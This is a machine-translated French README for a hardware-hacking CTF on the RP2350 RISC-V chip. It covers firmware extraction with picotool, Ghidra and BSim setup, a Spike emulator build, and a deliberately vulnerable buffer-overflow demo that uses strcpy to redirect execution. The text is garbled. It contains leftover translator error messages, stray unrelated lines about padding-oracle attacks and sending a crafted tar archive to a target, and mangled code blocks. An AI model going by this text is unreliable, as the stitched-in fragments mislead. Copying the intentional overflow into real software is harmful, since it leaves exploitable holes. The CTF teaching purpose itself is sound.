
CTF de piratage matériel hcon2026hwctf - Exploitation de RISCV Hazard3 (@Wren6991) par @b1n4ri0 @antoniovazquezblanco & @therealdreg
Si vous êtes adepte de CTF hardware, voici le premier défi public du HC0N CTF 2026 avec des défis d'exploitation RISC-V RP2350 (bas niveau).
Nous avons essayé de ne pas rendre le challenge trop élitiste ou difficile, afin que les centaines de participants à la conférence aient une chance de résoudre les défis. J'espère que nous avons réussi.
Si vous voulez exécuter le CTF chez vous, prenez un Raspberry Pi Pico 2, flashez ce firmware, et ne lisez pas les solutions ! -> ctf.uf2
Note pour ceux qui utilisent une carte (RP2350/RP2354...) différente de celle du CTF :
Le PCB du CTF possède une LED CMS sur GPIO 25, vous devez avoir une LED sur cette GPIO

Quand vous aurez terminé ce CTF, si vous l'avez aimé, en voici un autre similaire avec des défis différents : https://github.com/therealdreg/ctfhardwarehackingcon2026
ATTENTION : Les solutions suivantes contiennent des spoilers pour les défis. Si vous voulez les résoudre par vous-même, nous vous recommandons de ne pas les lire avant d'avoir terminé le CTF.
Premier gagnant : @mrexodia (Duncan Ogilvie) writeups/first_winner.md

Lot : kit keylogger matériel okhi USB/PS2 + CWP (Certified WifiChallenge Professional) https://github.com/therealdreg/okhi
Deuxième gagnant : @M3RINOOOOO (Cristobal Merino Saez) writeups/second_winner.md

Lot : Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, PICO2 H, CWP (Certified WifiChallenge Professional)
Troisième gagnant : @p4bl0vx (Pablo Moya Lopez) writeups/third_winner.md

Lot : Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, CWP (Certified WifiChallenge Professional).
Nous allons vous fournir un peu d'aide pour rendre le Hardware Hacking CTF à HCON 2026 plus facile.

Un hôte Linux devrait être votre première option ;-), le débogage fonctionne mieux.
TeraTerm : Setup -> Terminal -> Transmit : CR+LF et [x] Local echo

Autres :
cutecom :``` sudo apt-get update sudo apt-get install cutecom
# AVERTISSEMENT
L’un des défis nécessite du débogage matériel. Si vous réalisez le défi depuis chez vous (sans coéquipier possédant une autre carte), vous devrez également acheter ces deux articles pour résoudre ce défi. (Si vous ne les achetez pas, pas de souci—mais vous ne pourrez pas résoudre ce défi précis.)
- https://www.tiendatec.es/raspberry-pi-pico/2025-raspberry-pi-debug-probe-5056561803265.html
- https://www.tiendatec.es/raspberry-pi-pico/1979-cable-depuracion-pico-jtag-jst-sh-1-0-a-dupont-hembra-15cm-8472496024846.html
# À propos des scripts
Les outils inclus dans ce dépôt ont été développés par @b1n4ri0 pour la communauté et spécifiquement pour le HCON 2026 Hardware Hacking Challenge.
# Exploitation du processeur RISCV Hazard3 (@Wren6991) à 3 étages RV32IMACZb* avec débogage
RISCV Hazard3 est un processeur à 3 étages RV32IMACZb* avec prise en charge du débogage. Il est utilisé dans le microcontrôleur RP2350 présent sur la carte HCON2026HWCTF.
# Extraction du firmware RISCV Hazard3 à l’aide de picotool
Extraire le firmware des appareils RP2350 avec `picotool` est un processus simple. Dans cette section, vous apprendrez à le faire efficacement.
Remarque : `picotool` interagit avec les appareils RP2350 (et RP2040) uniquement lorsqu’ils sont en mode BOOTSEL ou si le firmware exécuté inclut la prise en charge USB stdio du Pico SDK.
## Compilation de picotool
Installez les outils de compilation et les bibliothèques nécessaires via votre gestionnaire de paquets préféré.```bash
sudo apt-get update
sudo apt install build-essential pkg-config libusb-1.0-0-dev cmake -y
Créez un répertoire dédié pour garder vos outils organisés. Cela garantit que les chemins utilisés dans les étapes suivantes sont corrects.```bash cd $HOME mkdir rptools cd rptools
Clonez les projets `picotool` et `pico-sdk`, nous avons besoin à la fois de l'outil lui-même et du SDK. Notez que `picotool` nécessite `pico-sdk` pour compiler correctement.```bash
git clone https://github.com/raspberrypi/picotool.git
git clone https://github.com/raspberrypi/pico-sdk.git
cd picotool
Créez le répertoire de build et exécutez CMake.
Important : nous devons utiliser l'option -DPICO_SDK_PATH pour indiquer à CMake exactement où nous avons téléchargé le SDK à l'étape précédente, ou nous pouvons définir PICO_SDK_PATH dans l'environnement.```bash
mkdir build
cd build
cmake -DPICO_SDK_PATH=$HOME/rptools/pico-sdk ..
sudo make install
Par défaut, l'accès aux périphériques USB nécessite des privilèges root. Copiez le fichier de règles udev pour permettre d'exécuter `picotool` sans utiliser `sudo`.```bash
sudo cp ../udev/60-picotool.rules /etc/udev/rules.d/
Rechargez les règles udev (ou débranchez et rebranchez votre appareil) et vérifiez la version en exécutant picotool version pour vous assurer que tout fonctionne:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-15.2.0, Release)
## Utilisation du binaire précompilé
Si vous préférez éviter le processus de compilation, vous pouvez télécharger le binaire précompilé depuis le [dépôt officiel](https://github.com/raspberrypi/pico-sdk-tools/releases).```bash
gunzip picotool-2.2.0-a4-x86_64-lin.tar.gz
tar -xf picotool-2.2.0-a4-x86_64-lin.tar
cd picotool
L'exécution de picotool version devrait fonctionner comme prévu :```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-11.4.0, Release)
## Activer le mode BOOTSEL sur RP2350
Pour effectuer des opérations comme le dump du firmware, `picotool` nécessite que le périphérique soit en mode BOOTSEL. Cependant, `picotool` peut également interagir avec le périphérique si le firmware actuellement exécuté inclut le support USB stdio du Pico SDK.
Ci-dessous, je mentionnerai plusieurs façons d'activer ce mode. Choisissez celle qui semble la plus appropriée pour votre cas ou simplement celle qui fonctionne pour vous.
Si votre carte **n'est pas en mode BOOTSEL**, mais contient le support USB stdio**,** vous verrez une sortie comme celle-ci lorsque vous essayez d'exécuter les commandes `picotool` :```bash
$ ./picotool info
No accessible RP-series devices in BOOTSEL mode were found.
but:
RP2350 device at bus 1, address 23 appears to have a USB serial connection, so consider -f (or -F) to force reboot in order to run the command.
Voici la méthode matérielle standard utilisée :
BOOTSEL ou le bouton BOOT enfoncé.BOOTSEL.Alternative (si vous ne voulez pas débrancher la carte):
BOOTSEL enfoncé.RESET ou RST puis relâchez-le.BOOTSEL.Vous devriez maintenant pouvoir exécuter les commandes picotool :```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
### Activation logicielle de BOOTSEL
Si le firmware de l'appareil est en cours d'exécution et dispose d'un support USB stdio, vous pouvez le forcer en mode BOOTSEL sans toucher à la carte.```bash
./picotool reboot -uf
La commande utilise l'option -u pour spécifier que nous voulons redémarrer spécifiquement en mode BOOTSEL. Cependant, comme le périphérique exécute actuellement du code utilisateur, picotool l'ignorera par défaut. Par conséquent, nous devons ajouter l'option -f pour forcer l'application en cours d'exécution à accepter la commande de réinitialisation.
Sans -f, l'opération échouerait simplement parce que l'outil s'attend à ce que le périphérique soit déjà en mode BOOTSEL.```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
**Astuce :** Vous pouvez exécuter des commandes directement sur un appareil en cours d'exécution sans avoir à le redémarrer manuellement au préalable en ajoutant l'option `-f` à votre commande. `picotool` gérera le redémarrage, exécutera la commande, puis redémarrera pour revenir à l'application.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
The device was asked to reboot back into application mode.
Pour ce défi CTF, nous pouvons extraire le firmware directement sans entrer en mode BOOTSEL.
Je recommande de recueillir des informations sur le programme en cours d'exécution. Vous pouvez le faire à l'aide de la commande info, qui affiche la section « Program Information » par défaut. Comme le périphérique exécute actuellement du code, nous ajoutons l'option -f pour forcer la connexion.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information name: hello_usb features: USB stdin / stdout binary start: 0x10000000 binary end: 0x10011d50 target chip: RP2350 image type: RISC-V
The device was asked to reboot back into application mode.
Cette sortie révèle des détails essentiels tels que le nom du programme, sa plage mémoire et l'architecture de l'image.
Maintenant, nous procédons à l'extraction du programme, créons un répertoire pour stocker les fichiers extraits.```bash
mkdir -p $HOME/hcon2026hwctf/
Exécutez la commande suivante pour extraire le firmware :```bash ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Cette commande unique gère l’intégralité du processus d’extraction. Elle force le RP2350 à redémarrer en mode BOOTSEL, lit le programme actuellement installé depuis la mémoire flash, puis l’enregistre sous forme de fichier binaire brut. Pour s’assurer que l’extraction est correcte, elle relit les données afin de vérifier que le fichier extrait correspond exactement au contenu de la puce.
Vous devriez obtenir un résultat comme ceci :```bash
$ ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Saving file: [==============================] 100%
Wrote 73040 bytes to /home/b1n4ri0/hcon2026hwctf/hello_usb.bin
Verifying Flash: [==============================] 100%
OK
The device was asked to reboot back into application mode.
Et voilà, vous avez réussi à extraire le programme !
Remarque : Gardez à l'esprit que vous n'avez extrait que le programme installé, et non la totalité du contenu de la mémoire flash.
Si vous rencontrez des erreurs, vérifiez que le périphérique est correctement connecté. Si le redémarrage automatique échoue, passez manuellement en mode BOOTSEL et relancez la commande sans l'option -f. Pour plus d'informations sur les options disponibles, exécutez simplement picotool help <command>.
Une fois le firmware RP2350 extrait, l'étape logique suivante est le reverse engineering. Pour cette tâche, nous recommandons d'utiliser Ghidra. Cependant, certains ajustements sont nécessaires pour garantir une analyse précise.
Lors du chargement du binaire et de la tentative de désassemblage, vous rencontrerez probablement des fonctions incomplètes ou du code visuellement corrompu. Cela ne signifie pas que votre extraction a échoué. Le problème vient du fait que Ghidra (y compris la version 12.0.2) ne peut pas interpréter nativement certaines instructions spécifiques à ce SoC.
La raison technique est que Ghidra implémente les extensions RISC-V C (Compressed) et B (Bit-manipulation) sur la base d'une spécification préliminaire (v0.92). En revanche, le processeur Hazard3 utilisé dans le RP2350 implémente la version ratifiée v1.0.0. Par conséquent, de nombreuses instructions modernes sont soit inconnues de Ghidra, soit ont changé depuis les définitions précédentes.
Pour des informations détaillées sur les instructions prises en charge par Hazard3, consultez la documentation officielle : wren.wtf/hazard3/doc/
Pour résoudre ce conflit et obtenir un désassemblage correct, vous devez mettre à jour les définitions de processeur de Ghidra vers la spécification ratifiée v1.0.0.
Tout d'abord, localisez votre chemin d'installation de Ghidra (par exemple, ~/ghidra_12.0_PUBLIC). Accédez au répertoire du processeur RISC-V et renommez le dossier data existant pour en faire une sauvegarde :```bash
export GHIDRA_INSTALL_DIR=~/ghidra_12.0_PUBLIC
cd $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV
mv data data_back
Ensuite, clonez le dépôt contenant les définitions d'instructions mises à jour et déplacez le nouveau dossier `data` dans votre installation Ghidra :```bash
cd $HOME
git clone https://github.com/therealdreg/hcon2026hwctf.git
cp -r hcon2026hwctf/RVGhidraImpl/data $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV/
Une fois les définitions de processeur corrigées en place, suivez ces étapes pour charger correctement le binaire :
PyGhidra.Non-Shared Project (par exemple, hwctf2026).Active Project.Language.RISCV et sélectionnez : RISCV:LE:32:default:gcc (RISCV par défaut 32 little gcc).Ok.CodeBrowser.No.Une fois le binaire chargé avec les bonnes définitions de processeur, Ghidra sera capable de désassembler précisément les opcodes. Cependant, il est important de noter que nous avons généralement affaire à des fichiers .bin bruts. Ces fichiers ne contiennent pas intrinsèquement de tables de symboles ni de métadonnées facilitant l'analyse.
La quantité d'informations récupérables dépend entièrement de l'origine du binaire. Dans ce cas, notre cible est un firmware RP2350 compilé avec pico-sdk v2.2.0. Cela constitue un avantage significatif, car le binaire utilise le SDK officiel et pourrait donc être compatible avec picotool. Cet outil nous permet d'identifier et d'extraire les métadonnées, à condition que le binaire contienne encore les en-têtes nécessaires à l'analyse par picotool.
Par défaut, Ghidra ne peut pas interpréter la disposition mémoire sans intervention manuelle. Tenter d'analyser le firmware sans une cartographie mémoire appropriée donnera de mauvais résultats et de nombreuses erreurs. Cela est dû à l'architecture de Ghidra, qui exige un contexte explicite pour résoudre les références.
Dans ce scénario spécifique, le programme est compilé pour s'exécuter depuis la SRAM. Cela signifie que le firmware contient des références actives vers deux régions mémoire distinctes avec des adresses de base différentes. Sans une configuration correcte, Ghidra a du mal à suivre le flux de désassemblage à travers ces régions, ce qui complique considérablement le processus de rétro-ingénierie.
Pour simplifier la configuration et garantir la cohérence, j'ai développé un script qui automatise le mappage mémoire et la configuration de l'environnement. Bien que cette automatisation simplifie les étapes initiales, il est fortement recommandé de consulter le code source du script ou le README du dépôt pour comprendre la logique sous-jacente du flux de travail d'analyse. Pour une compréhension technique plus approfondie de la disposition mémoire et du mappage des périphériques, vous devriez également consulter la fiche technique du RP2350 officielle.
L'outil Ghidra RP2350 Setup Tool et le SVD Loader pour PyGhidra ont tous deux été inclus directement dans ce dépôt. Les sections suivantes fournissent des instructions détaillées sur la manière d'installer et d'utiliser efficacement ces outils.
Le script hcon26_rp2350-ctf_auto_setup.py est conçu pour automatiser la configuration initiale et l'environnement d'analyse statique du firmware ciblant le Raspberry Pi RP2350 (cœur RISC-V Hazard3). Cet outil est spécifiquement développé pour prendre en charge les tâches de rétro-ingénierie associées au H-Con 2026 Hardware Hacking Challenge.
Le firmware binaire brut manque intrinsèquement des en-têtes de fichier et des tables de symboles nécessaires au chargement automatique. Cela oblige les analystes à configurer manuellement les cartographies mémoire, les points d'entrée et les états du processeur avant qu'un code ne devienne lisible. Cet outil automatise tout ce processus, préparant instantanément le binaire pour la rétro-ingénierie.
Ce script élimine la surcharge de configuration manuelle généralement requise pour l'analyse de firmware embarqué. En automatisant le processus de chargement, il garantit un projet Ghidra cohérent et fonctionnel, permettant aux participants de se concentrer immédiatement sur la recherche de vulnérabilités et l'analyse logique plutôt que sur la configuration de l'environnement.
Configuration automatisée de l'environnement : établit instantanément la disposition mémoire correcte pour le RP2350, en définissant les régions Flash (XIP) et SRAM avec les permissions appropriées requises par le décompilateur.
Détection du point d'entrée : recherche les en-têtes spécifiques au RP2350 pour identifier la véritable adresse de début d'exécution, en gérant les vecteurs de démarrage non standard souvent rencontrés dans les binaires compilés « On-RAM ».
Résolution de contexte : initialise automatiquement le registre de pointeur global gp. Cela garantit que les références aux variables globales et aux données statiques sont correctement résolues dans le décompilateur, plutôt que d'apparaître comme des décalages incorrects.
Reconstruction des sections de données : identifie et relocalise les sections initialisées de la Flash vers la RAM, reproduisant le processus de démarrage. Cela garantit que les chaînes littérales et les variables globales apparaissent à leurs emplacements mémoire corrects pendant l'analyse.
Récupération des symboles : identifie de manière heuristique la logique principale de l'application et la séquence d'initialisation de l'exécution, permettant à l'analyste de passer directement au code utilisateur sans retracer manuellement l'intégralité du chargeur de démarrage.
con26_rp2350-ctf_auto_setup.py.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Copiez le fichier de script dans le répertoire `ghidra_scripts` de votre installation Ghidra.```bash
cd hcon2026hwctf/GhidraScripts
cp hcon26_rp2350-ctf_auto_setup.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
Importez le fichier .bin cible dans Ghidra (RV32).
Ouvrez le fichier dans le Code Browser.
Lorsque vous êtes invité à analyser le fichier, sélectionnez No.
Ouvrez le Script Manager Window > Script Manager.
Recherchez hcon26_rp2350-ctf_auto_setup.py situé dans la catégorie RP2350.
Exécutez le script et attendez que la sortie console confirme la fin de l'opération. Veillez à lire les informations Next Steps affichées dans la console.
Une fois le script de configuration terminé, exécutez le RP2350 SVD Loader pour mapper les registres matériels et les périphériques.
Les fichiers System View Description (SVD) sont des documents au format XML qui contiennent une description détaillée des registres périphériques d'un microcontrôleur. Ils définissent les adresses mémoire, les offsets de registres, les champs de bits et les valeurs de réinitialisation. En rétro-ingénierie, ces fichiers sont essentiels pour mapper l'espace mémoire brut d'un binaire en noms de périphériques lisibles par l'humain, transformant les accès mémoire anonymes en interactions matérielles identifiées.
Ce script est un chargeur SVD pour le RP2350 (Pico 2) adapté pour PyGhidra. Il automatise la création de segments mémoire et de définitions de registres à partir des spécifications SVD officielles.
Cette version a été développée à partir des travaux antérieurs trouvés dans les dépôts suivants :
Vous pouvez également utiliser https://github.com/antoniovazquezblanco/GhidraSVD développé par @antoniovazquezblanco
SVD-Loader-RP2350.py.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Copiez le fichier de script dans le répertoire `ghidra_scripts` de votre installation Ghidra.```bash
cd hcon2026hwctf/GhidraScripts
cp SVD-Loader-RP2350.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
.bin cible dans Ghidra.CodeBrowser.No.Window > Script Manager .SVD-Loader-RP2350.py dans la catégorie RP2350.A.
Les scripts fournis nécessitent un environnement PyGhidra fonctionnel.
- **Installer les dépendances**```bash
pip install pyghidra cmsis-svd
## Dépannage : import cmsis-svd
Si `SVD-Loader-RP2350.py` ne parvient pas à trouver la bibliothèque `cmsis-svd`, vous pouvez l'installer directement dans l'interpréteur PyGhidra :
1. Dans le **CodeBrowser**, allez dans `Window > PyGhidra`.
2. Exécutez l'extrait suivant :```python
import subprocess as s
import sys
s.check_call([sys.executable, "-m", "pip", "install", "cmsis-svd"])
Après avoir configuré Ghidra et désassemblé le binaire, l’objectif suivant est de distinguer les fonctions spécifiques au défi de celles appartenant au SDK.
En général, l’outil standard pour cette tâche est Ghidra FID (Function ID). Le flux de travail consiste à compiler les exemples du SDK avec la même configuration que le binaire cible afin de générer une base de données FIDB, ce qui permet à Ghidra d’identifier et de nommer les fonctions automatiquement. Cependant, FID a un taux de reconnaissance significativement faible dans ce cas.
Pour surmonter cette limitation, nous utiliserons BSim. Bien qu’il existe d’autres alternatives comme Version Tracking ou Ghidriff, elles sont principalement conçues pour comparer les changements entre versions (patch diffing) et ne sont pas aussi efficaces pour cet objectif spécifique.
Pour que Ghidra identifie les fonctions par comparaison, nous devons d’abord générer une base de données de référence en compilant les exemples du pico-sdk. Si vous souhaitez optimiser votre temps, vous pouvez vous concentrer sur les quatre binaires essentiels mentionnés à la fin de cette section.
Clonez le dépôt officiel des exemples :```bash git clone https://github.com/raspberrypi/pico-examples.git cd pico-examples mkdir build cd build
### Extension Raspberry Pi Pico
Pour utiliser ces chemins, l'extension VS Code Raspberry Pi Pico doit être installée. Ces structures de répertoires sont natives de l'environnement de l'extension.
Une fois l'extension installée, configurez votre projet en sélectionnant **Type de carte : Pico 2** et **Architecture (pico2) : RISC-V**. La simple création du projet avec ces paramètres déclenchera l'installation de toutes les ressources nécessaires. Aucune compilation supplémentaire n'est requise dans ce cas.
Nous utiliserons une configuration spécifique pour le RP2350 Hazard3, garantissant que les symboles et le formatage correspondent au binaire du défi.```bash
export PICO_SDK_PATH="$HOME/.pico-sdk/sdk/2.2.0"
export PICO_TOOLCHAIN_PATH="$HOME/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3"
I don't see any content to translate in the input. Please provide the actual chunk text.```bash
cmake -DPICO_PLATFORM=rp2350-riscv
-DPICO_BOARD=pico2
-DPICO_COMPILER=pico_riscv_gcc
-DCMAKE_BUILD_TYPE=Debug
-DPICO_DEFAULT_BINARY_TYPE=copy_to_ram
-DPICO_STDIO_USB=1
-DPICO_STDIO_UART=0
-DCMAKE_C_FLAGS="-march=rv32ima_zicsr_zifencei_zba_zbb_zbs_zbkb_zca_zcb_zcmp -mabi=ilp32 -O0 -g3 -fno-omit-frame-pointer -fno-lto"
-DCMAKE_EXE_LINKER_FLAGS="-Wl,--print-memory-usage"
..
Veuillez fournir le contenu Markdown à traduire.```bash
make -j$(nproc) -k
Une fois la compilation terminée, regroupez tous les fichiers .elf dans un répertoire dédié pour une analyse plus facile :```bash
mkdir ../sdk-elfs
find . -name "*.elf" -exec cp --backup=numbered {} ../sdk-elfs/ ;
### Analyse automatisée avec Ghidra Headless
Pour traiter le grand volume de fichiers générés, l'utilisation du mode headless de Ghidra est la plus efficace. Assurez-vous d'exécuter l'analyse en pointant vers le projet où vous avez déjà configuré le binaire du challenge :```bash
# Run $GHIDRA_INSTALL_DIR/support/analyzeHeadless to check the usage
$GHIDRA_INSTALL_DIR/support/analyzeHeadless $HOME/hcon2026hwctf hwctf2026 -import pico-examples/sdk-elfs -recursive -processor "RISCV:LE:32:default"
Si vous préférez réduire le temps d'analyse, traitez au moins ces quatre fichiers, qui contiennent la majorité des fonctions SDK présentes dans le défi :
tinyusb_dev_cdc_msc.elfmulticore_runner_queue.elfhello_gpio_irq.elfhello_timer.elfLorsque l'identification par signature traditionnelle (FID) est insuffisante, BSim est l'alternative la plus puissante. Contrairement à d'autres méthodes, BSim repose sur le comportement et la structure du code, permettant des comparaisons inter-architectures et ignorant les variations dues aux niveaux d'optimisation.
Bien que l'interface graphique puisse être utilisée, effectuer la configuration via le terminal est plus efficace pour traiter plusieurs binaires.```bash cd $GHIDRA_INSTALL_DIR/support
Créez le fichier de base de données H2:```bash
# Run ./bsim to check the usage
./bsim createdatabase file:/<db_directory_path>/pico_db medium_nosize
Extraire les signatures des binaires déjà analysés dans le projet Ghidra:```bash mkdir ~/bsim_sigs ./bsim generatesigs ghidra:$HOME/hcon2026hwctf/hwctf2026 ~/bsim_sigs --bsim file:/<db_directory_path>/pico_db
Terminez le processus en validant les signatures générées dans notre base de données:```bash
./bsim commitsigs file:/<db_directory_path>/pico_db ~/bsim_sigs
Une fois la base de données créée, liez-la au Code Browser :
BSim > Manage Servers.icône verte "+" et sélectionnez le type File.Dismiss pour fermer la fenêtre.Il existe plusieurs façons de rechercher des correspondances avec BSim, voici la plus recommandée :
BSim > Search functions.Similarity Threshold pour trouver des fonctions ayant subi de légères variations lors de la compilation.Astuce : Si vous êtes certain qu'une fonction est correcte, mais que ses fonctions internes (« enfants ») restent sans nom, utilisez la fenêtre des résultats BSim :
Shift + C pour ouvrir la comparaison.Compare matching callees.Si l'option BSim ne correspond pas à vos besoins, vous pouvez utiliser Version Tracking.
Dans la fenêtre principale de Ghidra, localisez l'icône d'empreintes bleues à l'extrême droite du Tool Chest pour ouvrir l'outil Version Tracking.
icône d'empreintes bleues dans le menu en haut à gauche pour créer une nouvelle session.tinyusb_dev_cdc_msc).Finish.Trois fenêtres s'ouvrent : Source Tool, Destination Tool et la console Version Tracking. Dans la fenêtre Version Tracking :
icône verte "+" (Add additional correlations).Finish et attendez la fin du processus. En général, les algorithmes basés sur BSim offriront les résultats les plus robustes.Une fois les résultats de Version Tracking obtenus, il existe deux méthodologies principales pour appliquer les modifications au binaire du challenge :
Pour mettre en œuvre la deuxième stratégie, il est essentiel de filtrer les résultats afin de se concentrer sur les correspondances les plus solides :
Filter, tapez « Function » pour n'afficher que les corrélations de fonctions.Pour confirmer et transférer les noms vers le binaire de destination, utilisez l'icône de coche verte (située entre les icônes de drapeau et de disque).
Selon votre style d'analyse, vous pouvez opter pour deux approches :
main. Au fur et à mesure que vous rencontrez des fonctions inconnues, utilisez BSim pour les identifier.Choisissez la méthode qui vous convient le mieux.
Plus d'informations sur BSim :
sudo apt-get update sudo apt-get install git build-essential autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler libboost-regex-dev libboost-system-dev
-o, --oracle Activer les attaques Oracle : définir\&trouver le chiffrement par bloc
en mode de remplissage Oracle.```
cd /home/dreg
mkdir RISCV
export RISCV=/home/dreg/RISCV
export PATH=$PATH:$RISCV/bin
Tools:
Please provide the Markdown content to translate.```
cd /home/dreg/RISCV/riscv-gnu-toolchain
mkdir build
cd build
../configure --prefix=$RISCV --with-arch=rv32imac_zicsr_zifencei_zba_zbb_zbs --with-abi=ilp32
make
Prenez l'IP de la cible et essayez de trouver un paquet vulnérable, puis envoyez une archive tar spécialement conçue à la cible.``` cd /home/dreg/RISCV/riscv-pk mkdir build cd build ../configure --prefix=$RISCV --host=riscv32-unknown-elf make make install
I don't see any content to translate in this chunk—the input appears to be empty. Please provide the Markdown content for chunk 87, and I'll translate it into French.```
cd /home/dreg/RISCV/riscv-isa-sim
mkdir build
cd build
../configure --prefix=$RISCV --enable-histogram
make
make install
poc.c (/home/dreg/RISCV/poc.c)``` #include <stdio.h> int main() { printf("Hello Dreg RISCV!\n"); return 0; }
Compiler poc.c```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/riscv32-unknown-elf-gcc -march=rv32imac_zicsr_zifencei_zba_zbb_zbs -mabi=ilp32 -static -g poc.c -o poc
Exécutez poc sur Spike``` cd /home/dreg/RISCV /home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
La sortie devrait être :```
Hello Dreg RISCV!
Félicitations, vous avez compilé et exécuté avec succès un programme RISCV en utilisant l'émulateur Spike !
Débogage de la fonction main :``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/riscv32-unknown-elf-objdump -D poc
fonction main dans mon cas à 0x00010154```
.....
0001016a <main>:
1016a: 1141 addi sp,sp,-16
1016c: c606 sw ra,12(sp)
1016e: c422 sw s0,8(sp)
10170: 0800 addi s0,sp,16
10172: 67c9 lui a5,0x12
10174: 43c78513 addi a0,a5,1084 # 1243c <__errno+0x6>
10178: 26ad jal 104e2 <puts>
1017a: 4781 li a5,0
1017c: 853e mv a0,a5
1017e: 40b2 lw ra,12(sp)
10180: 4422 lw s0,8(sp)
10182: 0141 addi sp,sp,16
10184: 8082 ret
.....
Aucun contenu fourni pour la traduction.``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/spike -d --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
À l'intérieur du débogueur spike :```
(spike) until pc 0 0x0001016a
(spike) pc 0
0x0001016a
Maintenant, vous êtes au début de la fonction main, appuyez sur Entrée pour parcourir les instructions une par une.``` (spike) core 0: 0x0001016a (0x00001141) c.addi sp, -16 (spike) core 0: 0x0001016c (0x0000c606) c.swsp ra, 12(sp) (spike) core 0: 0x0001016e (0x0000c422) c.swsp s0, 8(sp) (spike) core 0: 0x00010170 (0x00000800) c.addi4spn s0, sp, 16
Vous pouvez utiliser la commande `help` pour voir plus d'options.
Spike est un débogueur TRÈS basique, alors combinez le `riscv32-unknown-elf-objdump` externe, `dump` (commande spike) + le `hexdump` externe pour analyser la mémoire et le code plus efficacement...
## Exemple de POC pourri
Exemple de POC pourri d'exploitation de débordement de tampon classique sur RISCV Hazard3 en utilisant l'émulateur Spike.
Sur RISCV, l'adresse de retour peut être stockée dans un registre plutôt que sur la pile comme sur x86. Pour permettre l'écrasement de l'adresse de retour via la pile, j'ai ajouté des appels de fonction imbriqués pour pousser l'adresse de retour sur la pile.
test.c```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static unsigned char buff[0x100] = { 0 };
static void __attribute__((optimize("O0"))) func3(unsigned char* exbuff)
{
strcpy((char*)exbuff, (char*)buff);
}
static void __attribute__((optimize("O0"))) func2(unsigned char* exbuff)
{
func3(exbuff);
}
static void __attribute__((optimize("O0"))) func1(void)
{
unsigned char exbuff[10] = { 0 };
func2(exbuff);
}
static void __attribute__((optimize("O0"))) func_impossible(void)
{
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("good hacker!\n");
exit(0);
}
int main(int argc, char* argv[])
{
printf("\nhttps://github.com/therealdreg/hcon2026hwctf\n");
printf("Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg\n");
printf("func_impossible address: %p\n", func_impossible);
if (argc < 2)
{
printf("Error, must execute with one arg\n");
return 1;
}
printf("argv 1: %s\n", argv[1]);
strcpy((char*)buff, argv[1]);
func1();
return 0;
}
dotest.sh``` #!/usr/bin/env bash
set -x
RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"
CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
file test
spike --isa=$ISA_SPIKE "$PK" test AA
echo
